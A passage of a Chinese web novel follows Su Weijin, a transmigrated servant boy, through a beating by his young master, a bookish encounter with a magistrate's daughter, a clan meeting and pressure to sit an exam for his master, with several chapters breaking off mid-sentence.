怕是要在我沭阳县文士圈中传开了…”
这些议论声或高或低,
像一根根无形的针,
刺着张诚的耳膜,
让他那张肥白的脸一阵红一阵青。
他几乎是片刻不愿多留,
胡乱朝赵教谕和刘老的方向拱了拱手,
便像逃也似的,扯着苏惟瑾的胳膊,
灰溜溜地挤出了刘府大门。
来时趾高气扬,恨不得横着走。
归时却如丧家之犬,只想寻条地缝钻进去。
张家那辆还算体面的青篷马车就停在巷口。
张诚一言不发,阴沉着脸,
几乎是踹开车夫放好的脚凳,
一头钻进了车厢。
苏惟瑾默不作声,刚要跟着上去,
却听到一声低吼:
“滚出去!贱奴也配跟爷同车?
给老子跟在后面跑!”
车夫老钱愣了一下,
小心翼翼地劝道:
“少爷,这…这回府路可不近…”
“闭嘴!再多嘴连你一起滚!”
张诚的怒吼从车厢里传出来,
带着压抑不住的暴躁和羞愤。
老钱缩了缩脖子,
同情地瞥了一眼车下身形单薄的苏惟瑾,不敢再多言。
苏惟瑾脸上没有任何表情,
只是微微垂首,应了声:
“是,少爷。”
便安静地退到车后。
马车辘辘起动,速度不快,
但足以让一个营养不良的少年跟着跑得气喘吁吁。
沭阳县城的青石板路并不总是平坦,
苏惟瑾深一脚浅一脚地跟着,
胸腔里如同扯风箱般火辣辣地疼,
额上很快渗出细密的冷汗。
超频大脑冷静地监控着身体的疲惫指数,
并不断调整呼吸节奏,
最大化节省体力。
但生理上的难受是实打实的。
这还不够。
马车行至一段相对僻静的街巷,
速度忽然慢了下来。
车厢帘子猛地被掀开,
张诚那张因愤怒和嫉妒而扭曲的胖脸探了出来,
小眼睛里闪烁着恶毒的光。
“停车!”
马车骤停。
张诚跳下车,
几步冲到气喘吁吁、
刚刚停稳的苏惟瑾面前,
二话不说,抬脚就狠狠踹了过去!
“狗奴才!我叫你出风头!叫你显摆!”
砰!一脚正中苏惟瑾小腹。
剧痛传来,苏惟瑾闷哼一声,
踉跄着倒退几步,
撞在冰冷的墙壁上,差点背过气去。
他下意识地蜷缩起身体,护住要害。
“老子让你作诗!
让你‘风霜其奈何’!
能耐了你?!
让老子丢这么大脸!
你他妈的就是故意的!”
张诚一边骂,
一边拳脚如同雨点般落下,
全都落在苏惟瑾的背部、
手臂这些不易露出伤痕的地方。
他显然是打人打惯了,极有经验。
肥胖者的拳头势大力沉,
每一击都带着十足的羞辱和泄愤的意味。
苏惟瑾咬紧牙关,一声不吭,
只是将头埋得更低,
双臂死死护住后脑和腹部。
那身粗布青衣上很快沾满了尘土和鞋印。
超频大脑在剧痛和冲击下依旧高速运转,
冷静地分析着:
力度,角度,伤害预估…
同时,将张诚此刻每一分丑陋的嘴脸、
每一句恶毒的咒骂,都清晰地记录存档。
“贱种!下流坯子!
认得几个字就不知道自个儿姓什么了?!”
“老子才是主子!
老子才是秀才!
你算个什么东西!”
“敢抢老子的风头!
回去就禀明母亲,发卖了你!
卖到矿山里做苦力!
看你还怎么嘚瑟!”…
车夫老钱远远站在马车边,
背对着这边,不敢看,
更不敢劝,只能无奈地摇头叹息。
拳脚相加的声音在僻静的巷子里显得格外清晰。
苏惟瑾忍受着身体的疼痛,
眼神透过臂弯的缝隙,
看向地面飞速爬过的一只蚂蚁,
冰冷得没有一丝温度。
疼痛和羞辱是真实的,
但更多的是在预料之中。
张诚这种蠢货,受了挫,
找不到自身原因,
必然会将所有怒火倾泻到他认为可以随意拿捏的对象身上。
今日诗会上,自己被迫展露的锋芒,
无疑狠狠刺痛了他那可怜又可悲的自尊心。
这顿打,是代价,也是必然的过程。
但他心底那股原本只是微弱的火苗,
此刻却被这顿毫无道理的毒打,
彻底点燃,烧成了冰冷的烈焰。
决裂?
不,这从来就不是可以“裂”的关系。
这是主与奴,是压迫与被压迫。
要想摆脱,唯有…彻底掀翻!
张诚打累了,喘着粗气停了下来,
指着蜷缩在地上的苏惟瑾骂道:
“狗东西!给老子爬起来!
滚回去!今晚不准吃饭!
跪在柴房门口反省!
要是再敢有下次,
第33章 教谕借书探虚实,文萱答疑心波
诗会后的张家后院,
像一锅被雨水浇灭的灶火,
表面灰扑扑的安静,
底下却还憋着点儿滚烫的余烬。
苏惟瑾照旧洒扫庭院,伺候笔墨,
只是身上多了几处隐秘的淤青,
动作间偶尔会牵起一丝不易察觉的蹙眉。
那晚柴房门口的冷跪似乎没在他身上留下太多痕迹,至少表面上如此。
张诚少爷则像是只被踩了尾巴的猫,
消停了两天后,又开始变着法儿地折腾。
一会儿嫌茶烫了,
一会儿骂墨研稠了,
眼珠子却总忍不住往苏惟瑾身上瞟,
带着种混合了忌惮、
嫉妒和“你小子迟早还得栽我手里”的阴狠。
苏惟瑾全当是野狗呲牙,
心思早飞到了别处。
超频大脑里反复推演的是诗会后可能引发的涟漪,
尤其是李教谕和那位赵小姐的反应。
他知道,鱼饵已下,就等鱼儿试探了。
这日午后,
张诚歪在榻上打瞌睡,
口水都快流到新做的杭绸枕套上了。
苏惟瑾正轻手轻脚地整理书架,
就见厨娘陈婶在门口探头探脑,
对他使了个眼色。
苏惟瑾心下微动,
借着出去倒涮笔水的由头,
溜到了后院角门。
陈婶一脸紧张又夹杂着兴奋,压低嗓子道:
“小九,外头…
外头有位小姐的丫鬟寻你,
说是…说是还什么书?”
她手里捏着个用蓝布包得严实实的小包裹。
“我看那丫鬟穿戴,
不像小户人家的,
说话也客气得很…”
苏惟瑾心跳漏了一拍,
面上却不动声色:
“哦?许是前几日少爷借出去的吧。
人在哪儿?”
“就在后巷那棵老槐树下等着呢,
怕惹闲话,没敢靠近。”
陈婶把包裹塞给他,又嘀咕道。
“可得仔细些,别又是啥祸事…”
“我省得,谢谢陈婶。”
苏惟瑾接过包裹,触手微沉,
绝非仅仅一本书的重量。
他定了定神,快步走向后巷。
张家后巷僻静,
平日只有几只野猫溜达。
此时,老槐树下果然立着一位穿着淡绿比甲、
梳着双丫髻的丫鬟,
眉眼清秀,举止沉稳,
正不时谨慎地四下张望。
见到苏惟瑾出来,她眼睛一亮,
快步迎上,敛衽一礼,
声音清脆又克制:
“可是苏小九哥哥?”
“不敢当,姐姐寻我何事?”
苏惟瑾拱手还礼,
目光快速扫过对方。
这气度,绝非普通小户丫鬟。
那丫鬟从袖中取出两本线装书,
封皮略旧,却保存得极好。
“我家小姐前日整理书匣,
发现贵府张公子早些日子借阅的《诗经集注》和《十三经注疏》其中两册。
想着或许还有用,
特命奴婢送来归还。”
她说着,目光却若有深意地落在苏惟瑾脸上。
“小姐还说,
书中有些批注见解精妙,
令人茅塞顿开,
不知…可否请教一二?”
苏惟瑾心下雪亮。
还书是假,试探是真!
而且这试探来得如此之快,
如此巧妙!
《诗经集注》和《十三经注疏》?
这分明是冲着他替张诚抄写、
并可能暗中夹带私货的那些功课来的!
那所谓的“批注”,
八成就是自己当初为了理解记忆,
用秃头毛笔在废纸上写写画画,
不小心沾染到誊抄本上的零星见解!
他双手接过书,
触手处,其中一本书页间似乎夹着什么东西。
他面色如常,
甚至带上一丝恰到好处的惶恐:
“姐姐言重了。
我家少爷博览群书,
偶有所得,小人不过代为誊抄,
字迹丑陋,岂敢当‘请教’二字?
折煞小人了。”
丫鬟抿嘴一笑,也不深究,只道:
“小九哥哥过谦了。
小姐就在前面拐角的茶寮歇脚,
若方便,可否移步片刻?
小姐有几个疑问,关乎经义,
若不弄明白,寝食难安呢。”
这话说得客气,却带着不容拒绝的意味。
苏惟瑾略一沉吟,点头:
“既如此,请姐姐带路。”
他知道,关键时刻来了。
这既是风险,也是巨大的机遇。
拐过巷口,一家小小的清静茶寮映入眼帘。
临窗的位置,
一位身着月白绣淡紫色缠枝莲纹襦裙的少女正凭窗而坐,
手执茶盏,侧颜如玉,
神情专注地看着窗外一株将谢未谢的晚桂。
不是赵文萱又是谁?
日光透过窗棂,
在她鸦羽般的鬓角和纤长的睫毛上投下细碎的光晕,
娴静得如同一幅古画。
但苏惟瑾超频的视觉
却敏锐地捕捉到她微微紧绷的指尖和偶尔轻抿的唇瓣,
显露出主人内心的不平静。
那丫鬟上前低声禀报:
“小姐,苏小九来了。”
赵文萱转过身来,
目光落在苏惟瑾身上。
她今日未施粉黛,更显清丽脱俗,
那双清澈的眼眸带着审视,
却并无高高在上的傲慢,
反而有一丝不易察觉的期待和…好奇。
“冒昧请小九哥过来,打扰了。”
赵文萱声音温婉,
指了指对面的座位。
“请坐。”
“赵小姐面前,岂有小人的座位。”
苏惟瑾躬身行礼,姿态放得极低,
却并不显得卑怯。
“今日不论主仆,只论诗文经义。”
赵文萱坚持道,语气柔和却坚定。
苏惟瑾这才告罪半坐在凳子边缘,
第34章 暗流涌动,多方关注起
赵文萱主仆二人的身影刚消失在巷口,
苏惟瑾立刻抱着那摞书和那份沉甸甸的“意外之礼”,
闪身躲进更深的墙角阴影里。
超频大脑飞速运转,
听觉提升到极致,
确认四周再无旁人,
只有远处主街隐隐传来的叫卖声和风吹过巷子的呜咽。
他迅速解开蓝布包裹。
果然,除了那两本归还原主的《诗经集注》和《十三经注疏》,
里面还妥帖地放着一本厚厚的手抄册子。
纸质细腻,边缘微卷,显是经常翻看。
封面上是清秀工整的簪花小楷:《读史拾疑札记-文萱》。
苏惟瑾的心跳不由得加快了几分。
这哪里是什么“浅见和疑问”,
这分明是赵文萱(甚至可能包含其父赵教谕)读书治学的心血结晶!
里面不仅分门别类记录了经史子集中的疑难之处,
更有许多旁征博引的考据和独具只眼的个人见解。
对于目前缺乏系统指导、
全靠自己“知识降维”和零散记忆摸索的苏惟瑾而言,
这本札记无异于沙漠甘泉,雪中炭火!
其价值,远超金银。
“这份人情,可欠大了……”
苏惟瑾喃喃自语,嘴角却抑制不住地微微上扬。
他不敢在外多留,
将札记小心藏入怀中最贴身之处,
又把那两本书用蓝布重新包好,
这才做出一副刚办完差事的模样,
快步从后门溜回张府。
他自以为行动隐秘,却不知,
这短暂的后巷一会,
已然像一颗投入平静湖面的石子,
在沭阳县本就不算太大的文人圈子里,
漾开了一圈又一圈的涟漪。
最先泛起波澜的,自然是县学教谕,赵明远赵大人府上。
书房内,油灯初上。
赵明远听着女儿略显激动却又尽量克制的叙述,
花白的眉毛微微蹙起,手指无意识地敲打着桌面。
“父亲,女儿绝非妄言。”
赵文萱俏脸因急切而微红。
“那苏小九虽言辞谦卑,
总是推说‘听少爷所言’,
但其对《诗经》、《尚书》的理解,
尤其是关于历法古碑的推测,
绝非寻常书童能道!
甚至……甚至远超许多县学廪生!”
赵明远沉吟不语。
诗会那首《咏菊》带来的震撼还未平复,
女儿今日带回来的消息更是惊人。
他白日里其实已暗中派人去打探过那书童的底细。
回报很快:苏小九,今年十六,乃西街军户苏家旁支子弟,父母早亡,跟着爷爷过活。
爷爷去后,家徒四壁,
据说是为了给爷爷办后事和治病欠下债务,
被本家叔伯做主,自愿卖身到张府为奴。
“自愿卖身?”
赵明远当时就冷笑一声。
他宦海沉浮多年,虽只是个教谕,
对这地方豪族与破落户之间的腌臜勾当岂能不知?
所谓“自愿”,怕是“被自愿”吧?
那苏有才、苏有德兄弟是出了名的钻营势利,
做出这等卖侄求财之事,毫不稀奇。
如今再结合女儿带回来的信息,
一个惊人的猜测在他心中逐渐清晰成形。
他看向女儿,缓缓道:
“萱儿,依你之见,那张诚县试在即,
以其平日表现,能否高中?”
赵文萱冰雪聪明,
立刻明白了父亲的意思,低声道:
“女儿以为……若无人鼎力相助,恐是艰难。”
“鼎力相助?”
赵明远目光锐利起来。
“如何助?莫非……”
父女二人对视一眼,皆从对方眼中看到了同样的猜想。
——那张诚的县试文章,恐怕十有八九,要出自这苏小九之手!
一个可能身负惊世之才的少年,
竟被如此埋没,甚至要被迫为他人作嫁衣裳!
赵明远心中顿时涌起一股复杂难言的情绪,
有惜才,有愤怒,更有一种发现“璞玉”的隐秘兴奋。
“此事……我已知晓。”
赵明远压下心绪,恢复了一贯的沉稳。
“你且不要再与他人提及。
那本札记……送了便送了吧,
或许能对他有所裨益。
至于后续……容为父再思量思量。”
他需要更仔细地观察,更慎重地判断。
若此子真如女儿所言那般不凡,
那在这科举即将开考的关键时刻,
其命运或许……值得他这位一县学官插手一二。
赵文萱见父亲听进了自己的话,
心中稍安,乖巧应下,退出了书房。
她知道,父亲既然上了心,
那苏小九的处境,或许会迎来转机。
与此同时,城东孙府。
孙志远正烦躁地摔打着手中的狼毫笔。
上好宣纸上,墨迹污浊一片,
显然刚才练字时心浮气躁,难以静心。
诗会上被张诚(或者说,被张诚身后那个影子)狠狠压过一头的憋屈感,
非但没有随时间消散,反而愈发清晰。
尤其是今日坊间开始隐隐流传“张家书童实乃隐士高人弟子”、
“诗才惊世,奈何身为奴仆”之类的闲话,
更是像一根根钢针,扎得他浑身不舒服。
凭什么?
他孙志远寒窗苦读十载,
名师教导,家学渊源,
竟不如一个伺候人的贱役书童?
定是走了狗屎运,
不知从哪个故纸堆里翻出些残句断章,
拼凑而成,侥幸唬人罢了!
“哼,奴籍之人,
连科举门槛都摸不到,
再有才又能如何?”
孙志远酸溜溜地自我安慰,
但心底那股嫉恨的火苗却越烧越旺。
他绝不能容忍一个低贱书童的名声压过自己这沭阳才子。
若是县试之时,
那张诚再靠着这书童侥幸高中,
甚至名次比他孙志远还高……
一想到这种可能,孙志远就几乎要呕出血来。
“得想个法子……”
他眼神阴鸷下来,手指用力,
竟将那支上好的狼毫笔生生掰断。
“绝不能让这等贱奴,坏了科举的清净!”
几乎在同一时间,沭阳县西街,苏家老宅。
七叔公苏正廉端坐在堂屋唯一的太师椅上,面色沉肃如铁。
他面前,垂手站着两个中年男子,
正是苏惟瑾的本家叔伯,苏有才与苏有德。
两人此刻皆是面色忐忑,眼神闪烁,额角甚至渗出细密的汗珠。
“七……七叔,您老突然叫我们过来,是……是有啥吩咐?”
苏有才挤出一丝比哭还难看的笑容,小心翼翼地问道。
苏正廉冷哼一声,
浑浊的老眼射出锐利的光,
像刀子一样刮过两人:
“我听说,小九那孩子,
前几日在张家的什么诗会上,出了大风头?”
苏有才心里咯噔一下,
暗骂是哪个多嘴的长舌妇把话传到了这老古板耳朵里,连忙道:
第35章 苏家族议,七叔公的盘算
沭阳县西街,苏家老宅。
昔日正千户府的威严,
早已被岁月啃噬得只剩骨架。
门楣漆皮剥落如患了癞疮,
石阶缝里野草疯长,
透着一股子破落户挥之不去的酸腐气。
苏惟瑾跟在眼神闪烁的“有德叔”身后,
第二次踏入这扇斑驳的大门。
与上次夜访七叔公不同,
这次,他是被“请”回来的,堂而皇之。
院子空阔而凋敝,
几只老母鸡在杂物堆边刨食,
对生人爱答不理。
正堂内,光线被高高的门槛切割得支离破碎,
空气中弥漫着陈年朽木和劣质烟叶的混合气味,
压抑得让人喘不过气。
七叔公苏正廉端坐上首唯一一张像样的太师椅,
藏蓝色长衫浆洗得硬挺,
花白的头发梳得一丝不苟,
试图撑起族老的最后体面。
下首两旁,四五位族老如同庙里的泥塑罗汉,
叼着旱烟袋吞云吐雾,
或端着破茶碗故作深沉,
浑浊的目光却像探照灯般,
齐刷刷打在刚进门的苏惟瑾身上。
苏有才、苏有德两兄弟缩在角落阴影里,
恨不得化身壁虎,全无那日认亲时的热络。
这阵仗,是三堂会审,更是利益权衡的鸿门宴。
苏惟瑾心下清明如镜,
面上却瞬间堆满了属于“苏小九”的局促与不安,
甚至带上一丝恰到好处的畏缩。
他快步上前,对着上首深深一揖,
声音清朗却微带颤音:
“小子苏小九,拜见七叔公,
拜见各位叔公、伯公。”
七叔公苏正廉从喉间挤出沉闷的一声“嗯”,
浑浊却锐利的目光如似两把钝刀,
在苏惟瑾那身浆洗发白的青衣上反复刮擦,
试图刮出点真金白银来。
“小九,”
七叔公开口,声音干涩沙哑,
带着不容置疑的权威。
“今日族里长辈都在,
有些话,得问问清楚。”
“七叔公请问,小子绝不敢有半句虚言。”
苏惟瑾垂首敛目,姿态恭顺到了尘埃里。
“外面风言风语,说张家诗会上,
你露了大脸?
连赵教谕家的千金,
都屈尊降贵,寻你论学?”
七叔公单刀直入,目光如炬,
紧紧锁住他每一丝细微的表情变化。
堂内顿时死寂,
只有旱烟袋“吧嗒吧嗒”的声音格外刺耳。
所有目光都聚焦过来,
苏有才兄弟更是竖起了耳朵,呼吸都放轻了。
苏惟瑾脸上立刻浮现出强烈的“惶恐”与“羞赧”,
甚至下意识地搓了搓手,
声音也低了几分:
“七叔公明鉴!
这、这真是天大的误会!
小子何德何能……
那日不过是伺候张家少爷笔墨,
少爷才思泉涌,小子侥幸……
侥幸记得快些,帮着录下些句子罢了。
诗作自是少爷才华,
与小子何干?”
他巧妙地将“枪手”身份淡化为“书记员”。
“至于赵小姐……”
他语气更加“诚恳”,
甚至带了点后怕。
“确是来还书,顺口考教了小子几句经义。
小子肚里那点墨水,支支吾吾,
答得颠三倒四,
怕是……怕是惹小姐厌烦了。”
他将自己塑造成一个运气好但上不得台面的仆役,完美符合预期。
这番以退为进的说辞,
既承认了“确有其事”(证明他有价值),
又撇清了核心干系(显得懂事不张扬)。
堂内几位族老交换眼神,微微颔首。
既证实了传闻(此子可用),
又觉得他依旧“知分寸”(便于控制)。
七叔公脸色稍霁,
但问题如匕首般直刺要害:
“府试在即,那张诚……学问究竟如何?
可有几分把握?”
戏肉来了!
苏惟瑾脸上瞬间血色褪尽,
嘴唇哆嗦着,像是听到了极其恐怖的事情。
他眼中挣扎、恐惧、委屈交织,
最终仿佛被逼到绝境,
猛地“噗通”一声跪倒在地,声音带着哭腔:
“七叔公!各位叔伯长辈!
小子……小子不敢再瞒了!”
他抬起头,眼圈通红,
泪水在眼眶里打转。
“张家……张家他们逼我!
要我在府试中,替少爷……替少爷舞弊!”
“嘭!”
七叔公猛地一拍桌子,霍然起身,
脸色铁青:
“你说什么?!舞弊?!”
其他族老也勃然变色,
现场一片哗然!
科场舞弊,乃是抄家流放的大罪!
一旦沾上,整个苏氏家族都将万劫不复!
苏惟瑾仿佛被吓住,浑身发抖,泣声道:
“他们拿我爹欠的债逼我,
说不从就要打死我……
可这是天大的罪过啊!
小子死不足惜,可万一事发,
我们苏家……
苏家祖宗的脸面往哪搁?
族中兄弟的前程还要不要了?
小子就是死了,
也没脸去见地下的爹娘和列祖列宗啊!”
他声泪俱下,将“被逼无奈”和“心系家族”渲染到极致,
尤其是“祖宗脸面”和“族兄弟前程”,
字字诛心,狠狠砸在七叔公最致命的软肋上!
“混账东西!张承宗!
安敢如此欺我苏氏无人!”
七叔公气得浑身发抖,须发皆张。
苏有才兄弟更是面如死灰,瘫软在地,
他们万万没想到,当初卖侄求财,
竟会引来这等灭顶之灾!
见火候已到,苏惟瑾哭声渐止,
眼神却陡然变得清亮而坚定,
他挺直了原本蜷缩的脊梁,
虽跪着,却有一股难言的气度破土而出:
“七叔公息怒!
小子虽贱如草芥,却也知廉耻,
更不敢连累家族!
他们逼我,我虚与委蛇便是!
但……但小子心中亦有不平!”
“哦?你有何不平?”
第36章 张家紧逼,府试再替考
苏家老宅那场隐秘的族议,
像投入深潭的石子,悄无声息。
苏惟瑾回到张府那间狭窄的下人房,
心境却已截然不同。
有了七叔公那不算坚实却至关重要的承诺,
眼前这困局,便从死棋变成了活局。
府试,童生功名。
这就是他破局的关键第一步!
他需要一场酣畅淋漓的胜利,
不仅为脱身,更要向那老古板证明
——投资苏惟瑾,是苏家这辈子最划算的买卖!
然而,没等他这头潜龙开始谋划如何借势,
张家的鞭子就已经带着风声抽了下来。
翌日清晨,天刚蒙蒙亮。
苏惟瑾正拿着扫帚清扫院中落叶,
就见管家张福腆着肚子,
慢悠悠地踱步过来。
他今日脸上没了那层惯有的假笑,
三角眼里闪烁着精明而苛刻的光,
像打量一件即将被送上祭坛的牲口。
“小九啊,”
张福开口,声音拖得老长,
带着一股不容置疑的压迫感。
“活儿先放放。
老爷和少爷在书房等你,
有要紧事吩咐。”
苏惟瑾心下冷笑,来了。
面上却立刻放下扫帚,
恭顺地应了声“是”,
低着头,跟在张福那肥胖的身躯后,
朝着张家最核心的书房走去。
张家书房,布置得倒是颇为“风雅”。
四壁书架顶天立地,
塞满了各种精装典籍(多半是充门面的),
紫檀木大书案光可鉴人,
宣纸湖笔徽墨端砚一应俱全,
可惜它们的主人张诚少爷,
正像个没骨头的癞皮狗般瘫在旁边的太师椅里,
打着哈欠,眼角还糊着隔夜的眼屎。
书案后,端坐着张家家主张承宗。
他穿着簇新的绸缎直裰,
手指上一枚硕大的玉扳指碧油油的,
试图挤出几分乡绅的儒雅,
可惜那双闪烁着算计和贪婪的眼睛,
以及眉宇间长期作威作福养成的戾气,
彻底暴露了其土豪的本质。
见到苏惟瑾进来,
张承宗放下手中把玩的一对包浆厚重的核桃,
目光如鹰隼般锁定在他身上。
“小九,来了。”
他声音不高,却带着一家之主的威严。
“关上门。”
张福立刻返身将书房门关严实,
自己则像尊门神似的堵在那里。
书房内的气氛瞬间变得压抑起来。
苏惟瑾垂手立在书房中央,
感受到三道目光如同实质般压在身上
——审视的、嫉妒的、威胁的。
他恰到好处地显露出一丝不安,微微缩了缩肩膀。
“小九啊,”
张承宗再次开口,
语气放缓了些,试图营造一种“推心置腹”的假象。
“你在我们张家,也有些时日了。
老爷我待你如何?”
苏惟瑾心里呸了一声,
面上却感激涕零:
“老爷和夫人待小恩重如山,
给小饭吃,给小衣穿。”
“嗯,”
张承宗满意地点点头。
“你知道就好。
如今,少爷县试在即,
这可是关乎张家前程,
也关乎你自身前程的大事!”
他顿了顿,观察着苏惟瑾的反应,继续道:
“前几日诗会,你伺候得不错,
少爷很满意。
外面那些风言风语,
说什么诗是你作的,
简直是胡说八道!
不过是少爷念你辛苦,
赏你几分脸面罢了,
你要懂得感恩,知道吗?”
这是先敲打,定性
——功劳都是张诚的,
你只是个伺候笔墨的。
苏惟瑾把头垂得更低:
“小人明白,绝不敢有非分之想。
都是少爷天纵奇才,
小人只是碰巧记录而已。”
“唔,懂事!”
张承宗脸上的笑容真了几分,
但很快又变得严肃。
“县试不过是第一步,
紧接着便是府试!
府试不比县试,难度更大,关乎秀才功名,至关重要!”
他身体微微前倾,声音压低,
却带着更强的压迫感:
“我要你,像伺候县试一样,
不,要更尽心尽力!
确保少爷,顺顺利利地通过府试!
听到没有?”
图穷匕见!
果然还是要逼他府试替考!
旁边的张诚也来了精神,
坐直身体,趾高气扬地补充道:
“对!听见我爹的话没?
好好给本少爷办事!
要是办砸了……
哼,仔细你的皮!”
苏惟瑾脸上露出“惶恐”和“为难”:
“老爷,少爷,府试非同小可,
查验更严,小人……小人怕……”
“怕什么!”
张承宗不耐烦地打断他。
“一切自有老爷我打点!
你只需像上次一样,
把文章做得漂漂亮亮的就行!
其他的,不用你操心!”
旁边的张福立刻帮腔,
皮笑肉不笑地说:
“小九啊,老爷可是把身家前程都押在这上面了。
你可不能关键时刻掉链子。
想想你的身契,
想想你爹欠下的那些债……
办好了,自然有你的好处。
办不好嘛……”
他嘿嘿冷笑了两声,
威胁意味十足。
软硬兼施,威逼利诱,
这套组合拳打得倒是熟练。
苏惟瑾心中冷笑更甚,
脸上却配合地露出挣扎、恐惧,
最终化为“认命”般的顺从,
低声道:
第37章 芸娘赠衣,温情暖人心
书房里的阴谋算计,
仿佛给苏惟瑾周身裹上了一层无形的冰壳。
他精密地规划着如何将张诚推向悬崖,
如何利用这次府试搅动风云,
如何为自己搏出一条生路。
每一步都冷静得近乎冷酷。
直到那抹带着皂角清香的暖意,
悄无声息地叩响了他心防最柔软的角落。
府试的日子一天天逼近,
秋意也愈发浓重。
清晨起来,呵气已能见到淡淡的白雾。
张家上下为少爷的府试之行忙碌起来,
准备车马、行李、打点沿途关节,
倒是没人再时刻紧盯着苏惟瑾这个“秘密武器”。
这日午后,得了片刻闲暇,
苏惟瑾正倚在廊下,
默默在脑中复盘府试可能涉及的经义题目,
超频大脑如同最精密的仪器,
将各类典籍注疏分门别类,
交叉比对。
忽然,角门处传来极轻微的窸窣声。
他警觉地抬眼望去,
却见一个熟悉的小脑袋怯生生地探了进来,是芸娘。
她穿着一身洗得发白的碎花夹袄,
胳膊上挎着个小篮子,
脸上带着几分做贼似的紧张,
一双清澈的眼睛飞快地扫过院子,
见到廊下的苏惟瑾,
才明显松了口气,
朝他轻轻招了招手。
苏惟瑾心头微动,
看了看四周无人,快步走了过去。
“芸娘?你怎么来了?”
他压低声音问道,
将她引到角门后更隐蔽的角落。
这里堆着些柴火,
勉强能挡住身形。
“小九哥,”
芸娘的声音细细软软的,
带着少女特有的糯,
她将胳膊上的小篮子递过来,
里面是一件叠得整整齐齐的靛蓝色粗布夹衣。
“天气凉了,
听说……听说你要跟张家少爷出远门去府城考试,路上冷。”
她顿了顿,
脸颊泛起一丝不易察觉的红晕,
手指无意识地绞着衣角:
“这是我爹前年的一件旧衣,
娘改小了……
我、我又加厚了一层棉絮,
你……你别嫌弃。”
苏惟瑾微微一怔,接过篮子。
那夹衣入手沉甸甸的,
针脚细密匀称,
显然花费了不少功夫。
布料虽旧,却浆洗得干干净净,
散发着阳光晒过和皂角混合的清新气息,
与他身上这件张家发的、
带着股霉味的单薄青衣截然不同。
“这……”
苏惟瑾一时竟不知该说什么。
穿越以来,
他面对的尽是算计、逼迫、冷眼和贪婪。
七叔公的支持带着家族的权衡,
赵文萱的欣赏带着才学上的探究。
唯有眼前这个少女,
她的关心纯粹得没有任何杂质,
只因他是“小九哥”,
只因天冷了,他要出远门。
芸娘见他沉默,似乎有些不安,
忙又从怀里掏出一个小小的、
用红布缝成的三角符包,
塞到他手里,声音更低了:
“还、还有这个……
娘前天去城外青霞观求的平安符,
说……说能保平安。
小九哥,你……你一路上定要小心。”
那平安符还带着少女怀揣的微微体温,
熨帖着他微凉的掌心。
苏惟瑾低头看着手中的衣服和平安符,
再抬头看看芸娘那双写满了纯粹担忧的眼睛,
心中那层冰壳仿佛被这突如其来的暖意烫融了一角。
一种久违的、近乎陌生的酸涩感涌上鼻腔。
他穿越而来,继承了这具身体的一切,
包括那些模糊的记忆碎片。
记忆中,似乎只有早逝的母亲,
曾在他儿时风寒时,
用同样担忧的眼神看着他,
为他掖紧被角。
“芸娘……”
他开口,声音竟有些微哑。
“谢谢你。也谢谢婶子。”
他拿起那件夹衣,
轻轻摩挲着上面细密的针脚。
“衣服很好,很暖和。
符,我也一定贴身带着。”
他的语气前所未有的柔和。
芸娘见他收下,
脸上顿时绽开一个放松而欣喜的笑容,
像初春枝头第一朵绽放的小花,
干净又明亮:
“嗯!你穿着合身就好!”
她似乎完成了天大的任务,
松了口气,又急着要走:
“那我、我先回去了!
铺子里还有活计,
爹娘找不到我该着急了。”
说着,她转身就要溜走。
“芸娘。”
苏惟瑾忽然叫住她。
少女脚步一顿,疑惑地回过头来,
清澈的眸子里映着他的影子。
苏惟瑾看着她,很认真地看着。
穿越后的步步惊心,
张家父子的逼迫,
族老们的审视,未来的艰险征途……
在这一刻,似乎都被这缕温暖的烟火气稍稍冲淡了。
他需要一个记住的理由,
一个除了仇恨和野心之外,
值得去守护和回报的念想。
他轻声道,声音不大,
却带着一种郑重的承诺意味:
“等我回来。”
等我考完府试回来。
等我摆脱这困局回来。
等我……有能力回报这雪中送炭的温情回来。
芸娘显然没听出他话里更深层的含义,
只当是寻常的告别,
脸上又飞起两抹红霞,
用力点了点头:
“诶!小九哥,
我们……我们都等你回来!”
说完,她便像只受惊的小鹿般,
飞快地转身跑掉了,
身影很快消失在巷口。
第38章 周大山送行,暗授机宜
出发前往淮安府城的日子,
定在了秋高气爽的九月初八。
张家门前的阵仗摆得十足。
一辆簇新的青绸马车,
套着两匹膘肥体壮的健骡,
车辕上插着“沭阳张”字样的号旗,
迎风招展,很是气派。
张诚少爷穿着一身崭新宝蓝色直裰,
头戴方巾,人模狗样地站在车前,
接受着管家仆役们谄媚的祝福和邻里的围观,
下巴抬得能戳破天,
看起来似乎不是去考试,而是去登基。
张承宗和张福则在一旁,
最后一遍清点着行李
——主要是确保足够的银两和打点关系的礼物,
至于书籍文具,
那自然是“书童”苏惟瑾需要操心的事。
苏惟瑾穿着一身半旧青衣,
低着头,默默地将最后几个装有名贵徽墨
和湖笔的匣子搬上后面那辆拉行李的简陋骡车。
他怀里揣着芸娘送的厚实夹衣和平安符,
贴身的暗袋里藏着赵文萱那本珍贵的札记,
大脑却在冷静地规划着抵达府城后的每一步。
正忙碌间,忽听街口传来一阵粗豪的喊声:
“让让!让让!俺找张家少爷!”
众人循声望去,
只见一个高大壮实、
穿着公门号衣的少年捕快,
正拨开人群,满头大汗地挤过来,
正是周大山。
他今日似乎特意收拾过,
号衣比平日整齐些,
但眉宇间那股憨直劲儿丝毫未变。
张诚一见是他,
眉头就皱了起来,
嫌弃地摆摆手:
“周大山?你来作甚?
没见本少爷正要出远门吗?
挡什么道!”
周大山却不管他那套,
嘿嘿一笑,露出一口白牙,
朝着张承宗和张福拱了拱手,
算是见礼,
然后目光就落在了苏惟瑾身上,
大声道:
“张老爷,福管家,俺找小九有点事!
就一会儿!
保证不耽误少爷行程!”
张承宗知道他是县衙周捕快的儿子,
不好太驳面子,皱着眉点了点头。
张福则眯着眼,
警惕地打量了周大山一番,
才示意苏惟瑾过去。
苏惟瑾心下疑惑,
不知这憨货此时跑来作甚,
依言走了过去。
周大山一把将他拉到旁边人稍少的墙角,
蒲扇般的大手力道十足,
差点把苏惟瑾拽个趔趄。
“山哥,啥事这么急?”
苏惟瑾稳住身形,低声问道。
周大山左右瞅了瞅,
确认没人注意他们这边说悄悄话,
这才从怀里掏出一个用汗巾裹着的小包,
不由分说塞进苏惟瑾手里,
压着嗓子道:
“兄弟,拿着!”
苏惟瑾入手一掂,
里面是几枚零散的铜钱,
还带着周大山的体温。
“山哥,这……”
“别这那的!”
周大山打断他,
黑脸上带着不容拒绝的诚恳。
“出门在外,穷家富路!
张家抠搜,指定亏待你!
拿着路上买点热乎吃食,
别饿着肚子!”
